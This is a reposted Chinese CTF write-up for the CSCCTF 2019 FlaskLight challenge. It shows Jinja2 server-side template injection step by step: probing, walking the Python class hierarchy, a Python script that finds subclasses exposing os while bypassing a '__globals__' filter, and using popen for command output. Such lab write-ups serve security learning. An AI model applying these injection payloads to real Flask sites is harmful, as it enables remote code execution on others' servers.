[CSCCTF 2019 Qual]FlaskLight SSTI注入

[CSCCTF 2019 Qual]FlaskLight SSTI注入

进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 – 知乎

[CSCCTF 2019 Qual]FlaskLight SSTI注入

可以发现在searched后面输出了49,既然我们可以利用{{}},又有输出点,直接模板注入GOGOGO

python-flask模块注入(SSTI) – ctrl_TT豆 – 博客园因为不太熟,只能一步步来

''.__class__   //先随便查看一个字符所属的类是什么
''.__class__.__mro__   //返回类的基类是什么,找到object这个主类
因为返回的是元组类型的,我们可以用[n]来表示调用哪个类(这里假设object是第三个类)
''.__class__.__mro__[2].__subclasses__() 来查看所有可以引用的子类

[CSCCTF 2019 Qual]FlaskLight SSTI注入

[CSCCTF 2019 Qual]FlaskLight SSTI注入

我们知道执行命令的模块是os,那么哪个类里面能调用os模块呢,如果找到了,第几个呢,这个时候我们如果人工一个个去试的话那就很麻烦,利用脚本来查询 init.globals

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)
    r = requests.get(url)
    if "os" in html.unescape(r.text):
        print(i)

这里构造[“glob”+”als“]这样的原因是我直接写__globals__会报错,怀疑后端把这个敏感字符给过滤掉了,因此我们需要绕过

[CSCCTF 2019 Qual]FlaskLight SSTI注入

可以看到标号这么多的类有os模块,我们随便利用一个就行,就用128吧

[CSCCTF 2019 Qual]FlaskLight SSTI注入

发现一个目录flasklight

[CSCCTF 2019 Qual]FlaskLight SSTI注入

其中一个是源码,一个是flag,我们可以看见源码确实过滤了globals

[CSCCTF 2019 Qual]FlaskLight SSTI注入

相信很多人和我一样都是用的system执行命令,但是没有任何回显

python中os.popen, os.system()区别 – ccorz – 博客园

Python中os.system和os.popen区别 – 純黑色 – 博客园

那是因为system调用完shell脚本后,它返回的不是调用脚本的结果,而是一个信号代码,他所出来的结果是在执行的系统上,因此我们如果要用system命令的话,我们反弹shell才能看见(我不会)

popen执行命令返回的是一个读取文件的对象,用read()函数读取就可以获得我们想要的命令结果

Original: https://blog.csdn.net/qq_54929891/article/details/123975312
Author: -栀蓝-
Title: [CSCCTF 2019 Qual]FlaskLight SSTI注入

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745736/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球